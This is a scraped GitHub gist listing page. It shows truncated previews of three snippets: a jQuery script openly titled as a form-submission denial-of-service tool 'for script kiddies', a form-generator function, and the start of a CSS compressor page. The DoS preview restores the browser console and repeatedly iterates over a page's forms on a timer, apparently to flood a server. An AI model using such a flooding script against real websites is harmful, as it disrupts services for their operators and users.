Skip to content

Instantly share code, notes, and snippets.

View starstep's full-sized avatar
🏠
Working from home

starstep

🏠
Working from home
View GitHub Profile
@starstep
starstep / gist:a4fa930a0cf5669828c0ae53e5c8236a
Last active August 31, 2020 09:50
Form filler - jQuery DOS for script kiddies
function myrand() { return new Date().getTime() + '' + parseInt(Math.random() * 1000000000) };
function restore_console() { var i = document.createElement('iframe'); i.style.display = 'none'; document.body.appendChild(i); window.console = i.contentWindow.console; }
restore_console();
var sent = 0;
setInterval(function() {
sent++;
$('form').each(function() {
var data = {};
var $form = $(this);
function generateForm(selector, data) {
var $editform = $('<form method="POST"></form>');
$editform.html('');
$.each(data, function(key, elm) {
if (elm.label || elm.is_remote) {
var label = elm.label ? elm.label : key;
var value = typeof elm.value == 'undefined' ? elm.default : elm.value;
var description = elm.description ? '<p>' + elm.description + '</p>' : '';
var $input;
switch (elm.type) {
<!DOCTYPE html>
<html>
<head>
<title>Compress css with javascript</title>
<style>
* {box-sizing: border-box;margin: 0;padding: 0}
html,body {font-size: 0;height: 100%}
:focus {outline: none}
textarea {border: none;display: inline-block;height: 100%;padding: 10px;white-space: nowrap;width: 50%}
#compress {background: #FFF;border-radius: 50%;font-size: 10px;left: 50%;margin: -35px 0 0 -35px;padding: 27.5px 0;position: absolute;top: 50%;width: 70px}